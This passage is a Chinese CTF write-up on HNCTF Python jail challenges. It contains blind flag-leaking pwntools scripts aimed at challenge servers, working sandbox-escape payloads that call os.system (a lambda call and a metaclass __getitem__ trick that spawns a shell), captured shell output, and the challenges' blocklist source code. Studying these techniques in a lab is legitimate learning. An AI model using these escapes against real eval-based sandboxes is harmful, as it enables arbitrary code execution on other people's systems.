        for two in range(2):
            for j in range(10):
                io = remote("1.14.71.254", 28787)
                payload = f"(type(type(flag).mro())((((type(type(flag).mro())(flag)).pop({i+7}).encode()).hex()))).pop({two}).index((type(flag))({j}))"

                io.sendlineafter("Payload:", payload)
                if b"class" in io.recvline():
                    # 执行成功
                    print(f"flag[{i}] 的第 {two} 位是 {j}")
                    c += str(j)
                io.close()
        if len(c) == 4:
            flag += chr(int(c, 16))
        else:
            flag += "?"
    print("flag --> ", flag)


def test2():
    """测试是否包含n或者N
    list(flag).pop(?).index('n')
    list(flag).pop(?).index('N')
    """
    flag = ""
    for i in range(24):
        n = "(type(type(flag).mro())(flag)).pop(0).lower()"
        N = "(type(type(flag).mro())(flag)).pop(0).upper()"
        c = "?"
        for x in [n, N]:
            io = remote("1.14.71.254", 28787)
            payload = f"(type(type(flag).mro())(flag)).pop({i+7}).index({x})"
            io.sendlineafter("Payload:", payload)
            if b"class" in io.recvline():
                # 执行成功
                print(f"flag[{i}] == '{x}'")
                if x == n:
                    c = "n"
                else:
                    c = "N"

            io.close()
        flag += c
    print(flag)


def test3():
    """测试尾部是否是 }
    list(flag).pop(?).index('}')
    """
    flag = ""
    for i in range(24):
        last = "(type(type(flag).mro())(flag)).pop()"
        payload = f"(type(type(flag).mro())(flag)).pop({i+7}).index({last})"
        io = remote("1.14.71.254", 28787)
        io.sendlineafter("Payload:", payload)
        if b"class" in io.recvline():
            flag += "}"
        else:
            flag += "?"
        io.close()
    print(flag)


def test4():
    """测试尾巴是a的
    list(list(flag).pop(?).encode().hex()).pop(?).index(str(?))
    """
    for i in range(24):
        a = "(type(type(flag).mro())(flag)).pop(12).lower()"
        io = remote("1.14.71.254", 28787)
        payload = f"(type(type(flag).mro())((((type(type(flag).mro())(flag)).pop({i+7}).encode()).hex()))).pop(1).index({a})"

        io.sendlineafter("Payload:", payload)
        if b"class" in io.recvline():
            # 执行成功
            print(f"flag[{i}] 的第 2 位是 a")
        io.close()


def test5():
    """测试尾巴是b的"""
    for i in range(24):
        b = "type(type(flag).mro())(type(type(flag).mro())(flag).pop(6).encode().hex()).pop()"
        payload = f"(type(type(flag).mro())((((type(type(flag).mro())(flag)).pop({i+7}).encode()).hex()))).pop().index({b})"
        io = remote("1.14.71.254", 28787)
        io.sendlineafter("Payload:", payload)
        if b"class" in io.recvline():
            # 执行成功
            print(f"flag[{i+7}] 的第 2 位是 b")
        io.close()


def test6():
    """测试尾巴是c"""
    for i in range(24):
        c = "(type(type(flag).mro())(flag)).pop(11).lower()"
        payload = f"(type(type(flag).mro())((((type(type(flag).mro())(flag)).pop({i+7}).encode()).hex()))).pop().index({c})"
        io = remote("1.14.71.254", 28787)
        io.sendlineafter("Payload:", payload)
        if b"class" in io.recvline():
            # 执行成功
            print(f"flag[{i+7}] 的第 2 位是 c")
        io.close()


def test7():
    """测试尾巴是d"""
    for i in range(24):
        d = "type(type(flag).mro())(type(type(flag).mro())(flag).pop().encode().hex()).pop()"
        payload = f"(type(type(flag).mro())((((type(type(flag).mro())(flag)).pop({i+7}).encode()).hex()))).pop().index({d})"
        io = remote("1.14.71.254", 28787)
        io.sendlineafter("Payload:", payload)
        if b"class" in io.recvline():
            # 执行成功
            print(f"flag[{i+7}] 的第 2 位是 d")
        io.close()


def test8():
    """测试尾巴是e"""
    for i in range(24):
        e = "type(type(flag).mro())(type(type(flag).mro())(flag).pop(0).encode().hex()).pop()"
        payload = f"(type(type(flag).mro())((((type(type(flag).mro())(flag)).pop({i+7}).encode()).hex()))).pop().index({e})"
        io = remote("1.14.71.254", 28787)
        io.sendlineafter("Payload:", payload)
        if b"class" in io.recvline():
            # 执行成功
            print(f"flag[{i+7}] 的第 2 位是 e")
        io.close()


test8()

"""
最后就剩f没测了,只能是f结尾,所有剩下的都是0x5f,也就是下划线_
"""

"""
NSSCTF{y0u?cAn?l3@A?mE?S0?c0?l}



NSSCTF{y0u_cAn_l3@A_mE_S0_c0ol}

凑齐了 a b c d e,剩下一个f不用测了
flag[12].lower() = 'a'
list(flag[6].encode().hex()).pop() = 'b'
flag[11] = 'c
list(flag[-1].encode().hex()).pop() = 'd'
list(flag[0].encode().hex()).pop() = 'e'

第一次测试判断两位,有些第二位是大于a的
flag[10] = 5? --> _
flag[14] = 5?
flag[15] = 6c
flag[19] = 5?
flag[20] = 6d --> m
flag[22] = 5?
flag[25] = 5?
flag[28] = 6?
flag[29] = 6c
"""


"""
空白师傅的一行代码,tql
type(type(flag).mro())(type(type(flag).mro())(flag).pop({i}).encode()).remove({guess})
"""

[WEEK3]s@Fe safeeval(JAIL)

盲pwn,nc上去给了部分代码

Terminal features will not be available.  Consider setting TERM variable to your current terminal name (or xterm).

              ______                __                     _
        ____ |  ____|              / _|                   | |
  ___  / __ \| |__ ___   ___  __ _| |_ ___  _____   ____ _| |
 / __|/ / _` |  __/ _ \ / __|/ _` |  _/ _ \/ _ \ \ / / _` | |
 \__ \ | (_| | | |  __/ \__ \ (_| | ||  __/  __/\ V / (_| | |
 |___/\ \__,_|_|  \___| |___/\__,_|_| \___|\___| \_/ \__,_|_|
       \____/


Turing s@Fe mode: on
Black List:

    [
        'POP_TOP','ROT_TWO','ROT_THREE','ROT_FOUR','DUP_TOP',
        'BUILD_LIST','BUILD_MAP','BUILD_TUPLE','BUILD_SET',
        'BUILD_CONST_KEY_MAP', 'BUILD_STRING','LOAD_CONST','RETURN_VALUE',
        'STORE_SUBSCR', 'STORE_MAP','LIST_TO_TUPLE', 'LIST_EXTEND', 'SET_UPDATE',
        'DICT_UPDATE', 'DICT_MERGE','UNARY_POSITIVE','UNARY_NEGATIVE','UNARY_NOT',
        'UNARY_INVERT','BINARY_POWER','BINARY_MULTIPLY','BINARY_DIVIDE','BINARY_FLOOR_DIVIDE',
        'BINARY_TRUE_DIVIDE','BINARY_MODULO','BINARY_ADD','BINARY_SUBTRACT','BINARY_LSHIFT',
        'BINARY_RSHIFT','BINARY_AND','BINARY_XOR','BINARY_OR','MAKE_FUNCTION', 'CALL_FUNCTION'
    ]

some code:

    import os
    import sys
    import traceback
    import pwnlib.util.safeeval as safeeval
    input_data = input('> ')
    print(expr(input_data))
    def expr(n):
        if TURING_PROTECT_SAFE:
            m = safeeval.test_expr(n, blocklist_codes)
            return eval(m)
        else:
            return safeeval.expr(n)

对比pwnlib.util.safeeval中的代码,可以看到blacklist多了两个可以执行的opcode

  • MAKE_FUNCTION
  • CALL_FUNCTION

很显然出题人想让我们执行函数调用/编写

第一时间能想到的是lambda,但是我们申明了lambda之后如何执行,其实直接调用就行了

(我第一时间居然是想到f-string去执行lambda,后来直接提示opcode中的FORMAT_VALUE不被允许,但是其实lambda函数直接加上()就可以被调用了)

所以最后的payload就是

(lambda:os.system('cat flag'))()

[WEEK3]calc_jail_beginner_level6(JAIL) & [HNCTF 2022 WEEK3]calc_jail_beginner_level6.1(JAIL)

看网上一个wp搞来的

从某种方面而言,这也是一种hook

最后交完flag趴了下源码:

import sys


def my_audit_hook(my_event, _):
    WHITED_EVENTS = set({"builtins.input", "builtins.input/result", "exec", "compile"})
    if my_event not in WHITED_EVENTS:
        raise RuntimeError("Operation not permitted: {}".format(my_event))


def my_input():
    dict_global = dict()
    while True:
        try:
            input_data = input("> ")
        except EOFError:
            print()
            break
        except KeyboardInterrupt:
            print("bye~~")
            continue
        if input_data == "":
            continue
        try:
            complie_code = compile(input_data, "<string>", "single")
        except SyntaxError as err:
            print(err)
            continue
        try:
            exec(complie_code, dict_global)
        except Exception as err:
            print(err)


def main():
    WELCOME = """
  _                _                           _       _ _   _                _   __
 | |              (_)                         (_)     (_) | | |              | | / /
 | |__   ___  __ _ _ _ __  _ __   ___ _ __     _  __ _ _| | | | _____   _____| |/ /_
 | '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__|   | |/ _` | | | | |/ _ \ \ / / _ \ | '_ \
 | |_) |  __/ (_| | | | | | | | |  __/ |      | | (_| | | | | |  __/\ V /  __/ | (_) |
 |_.__/ \___|\__, |_|_| |_|_| |_|\___|_|      | |\__,_|_|_| |_|\___| \_/ \___|_|\___/
              __/ |                          _/ |
             |___/                          |__/

  """

    CODE = """
  dict_global = dict()
    while True:
      try:
          input_data = input("> ")
      except EOFError:
          print()
          break
      except KeyboardInterrupt:
          print('bye~~')
          continue
      if input_data == '':
          continue
      try:
          complie_code = compile(input_data, '<string>', 'single')
      except SyntaxError as err:
          print(err)
          continue
      try:
          exec(complie_code, dict_global)
      except Exception as err:
          print(err)
  """

    print(WELCOME)

    print("Welcome to the python jail")
    print("Let's have an beginner jail of calc")
    print("Enter your expression and I will evaluate it for you.")
    print(
        "White list of audit hook ===> builtins.input,builtins.input/result,exec,compile"
    )
    print("Some code of python jail:")
    print(CODE)
    my_input()


if __name__ == "__main__":
    sys.addaudithook(my_audit_hook)
    main()

[WEEK3]calc_jail_beginner_level7(JAIL)

ban了一些东西,转为ast后不能含有如下的东西

Import,ImportFrom,Call,Expr,Add,Lambda,FunctionDef,AsyncFunctionDef,Sub,Mult,Div,Del

不能import不能call,想到了之前学py面向对象用到的一个魔术方法metaclass

推荐看一篇文章 Python进阶——详解元类,metaclass的原理和用法

看完如果没看懂,多看几次,其中学到的一个比较重要的点:

  • 可以通过metaclass给类添加属性

image-20221018141253242

举一反三,我们可以添加类的属性,是不是可以修改

假设我们可以将一个类的某一个属性修改为os.system这样的函数,那么我们调用的时候就可以直接执行了

所以我们需要一个可以传入字符串的属性,而__getitem__完美符合

__getitem__原本是用来取列表或者字典的值的一个属性,如果我们将一个类的__getitem__改为os.system,那么是不是可以执行shell了?

举一个简单的例子

import os

class WOOD():
    pass
WOOD.__getitem__=os.system
WOOD()['ls']

运行后我们可以发现执行了ls

但是仅仅是这样,在这一题是不够的,如果我们将上述代码转为AST开查看,会发现带有了CallExpr

import ast

src='''
import os

class WOOD():
    pass
WOOD.__getitem__=os.system
WOOD()['ls']
'''
ast_node = ast.parse(src, "test", mode="exec")
print(ast.dump(ast_node))

"""
Module(body=[Import(names=[alias(name='os', asname=None)]), ClassDef(name='WOOD', bases=[], keywords=[], body=[Pass()], decorator_list=[]), Assign(targets=[Attribute(value=Name(id='WOOD', ctx=Load()), attr='__getitem__', ctx=Store())], value=Attribute(value=Name(id='os', ctx=Load()), attr='system', ctx=Load()), type_comment=None), Expr(value=Subscript(value=Call(func=Name(id='WOOD', ctx=Load()), args=[], keywords=[]), slice=Index(value=Constant(value='ls', kind=None)), ctx=Load()))], type_ignores=[])
"""

首先聊聊如何规避Expr,这个简单,给执行的东西赋值就行,也就是要将起存储起来

tmp = WOOD()['ls']

但是如何绕过Call?因为这里调用了WOOD()所以肯定是不行的

这个时候metaclass就派上用场了,我们可以指定一个类的__getitem__==os.system,使用mateclass可以让类拥有属性,而不是类生成的对象具有这个属性,这样我们就不用调用实例化类的Call,从而绕过Call

最终我的payload是:(远程源码里直接import os了,fuzz出来的

class WOOD(type):
    __getitem__=os.system
class WHALE(metaclass=WOOD):
    pass
tmp = WHALE['sh']
woodwhale@win10  E:\myworks\vscode_workspace\python_workspace -> nc 43.143.7.127 28496
TERM environment variable not set.


    _       _ _   _                _                         _                _ ______ 
   (_)     (_) | | |              (_)                       | |              | |____  |
    _  __ _ _| | | |__   ___  __ _ _ _ __  _ __   ___ _ __  | | _____   _____| |   / / 
   | |/ _` | | | | '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _ \ \ / / _ \ |  / /  
   | | (_| | | | | |_) |  __/ (_| | | | | | | | |  __/ |    | |  __/\ V /  __/ | / /   
   | |\__,_|_|_| |_.__/ \___|\__, |_|_| |_|_| |_|\___|_|    |_|\___| \_/ \___|_|/_/    
  _/ |                        __/ |
 |__/                        |___/


=================================================================================================
==           Welcome to the calc jail beginner level7,It's AST challenge                       ==
==           Menu list:                                                                        ==
==             [G]et the blacklist AST                                                         ==
==             [E]xecute the python code                                                       ==
==             [Q]uit jail challenge                                                           ==
=================================================================================================
e
Pls input your code: (last line must contain only --HNCTF)
class WOOD(type):
    __getitem__=os.system
class WHALE(metaclass=WOOD):
    pass
tmp = WHALE['sh']
--HNCTF
check is passed!now the result is:
sh: 0: can't access tty; job control turned off
$ ls
flag  server.py
$ cat flag
flag=NSSCTF{a32c2d40-bc14-409f-995d-516c9320a988}

趴了下源码,可以分析学习学习

import ast
import sys
import os

WELCOME = '''

    _       _ _   _                _                         _                _ ______
   (_)     (_) | | |              (_)                       | |              | |____  |
    _  __ _ _| | | |__   ___  __ _ _ _ __  _ __   ___ _ __  | | _____   _____| |   / /
   | |/ _` | | | | '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _ \ \ / / _ \ |  / /
   | | (_| | | | | |_) |  __/ (_| | | | | | | | |  __/ |    | |  __/\ V /  __/ | / /
   | |\__,_|_|_| |_.__/ \___|\__, |_|_| |_|_| |_|\___|_|    |_|\___| \_/ \___|_|/_/
  _/ |                        __/ |
 |__/                        |___/

'''

def verify_ast_secure(m):
  for x in ast.walk(m):
    match type(x):
      case (ast.Import|ast.ImportFrom|ast.Call|ast.Expr|ast.Add|ast.Lambda|ast.FunctionDef|ast.AsyncFunctionDef|ast.Sub|ast.Mult|ast.Div|ast.Del):
        print(f"ERROR: Banned statement {x}")
        return False
  return True


def exexute_code(my_source_code):
  print("Pls input your code: (last line must contain only --HNCTF)")
  while True:
    line = sys.stdin.readline()
    if line.startswith("--HNCTF"):
      break
    my_source_code += line

  tree_check = compile(my_source_code, "input_code.py", 'exec', flags=ast.PyCF_ONLY_AST)
  if verify_ast_secure(tree_check):
    print("check is passed!now the result is:")
    compiled_code = compile(my_source_code, "input_code.py", 'exec')
    exec(compiled_code)
  print("Press any key to continue")
  sys.stdin.readline()


while True:
  os.system("clear")
  print(WELCOME)
  print("=================================================================================================")
  print("==           Welcome to the calc jail beginner level7,It's AST challenge                       ==")
  print("==           Menu list:                                                                        ==")
  print("==             [G]et the blacklist AST                                                         ==")
  print("==             [E]xecute the python code                                                       ==")
  print("==             [Q]uit jail challenge                                                           ==")
  print("=================================================================================================")
  ans = (sys.stdin.readline().strip()).lower()
  if ans == 'g':
     print("=================================================================================================")
     print("==        Black List AST:                                                                      ==")
     print("==                       'Import,ImportFrom,Call,Expr,Add,Lambda,FunctionDef,AsyncFunctionDef  ==")
     print("==                        Sub,Mult,Div,Del'                                                    ==")
     print("=================================================================================================")
     print("Press any key to continue")
     sys.stdin.readline()
  elif ans == 'e':
    my_source_code = ""
    exexute_code(my_source_code)
  elif ans == 'q':
    print("Bye")
    quit()
  else:
    print("Unknown options!")
    quit()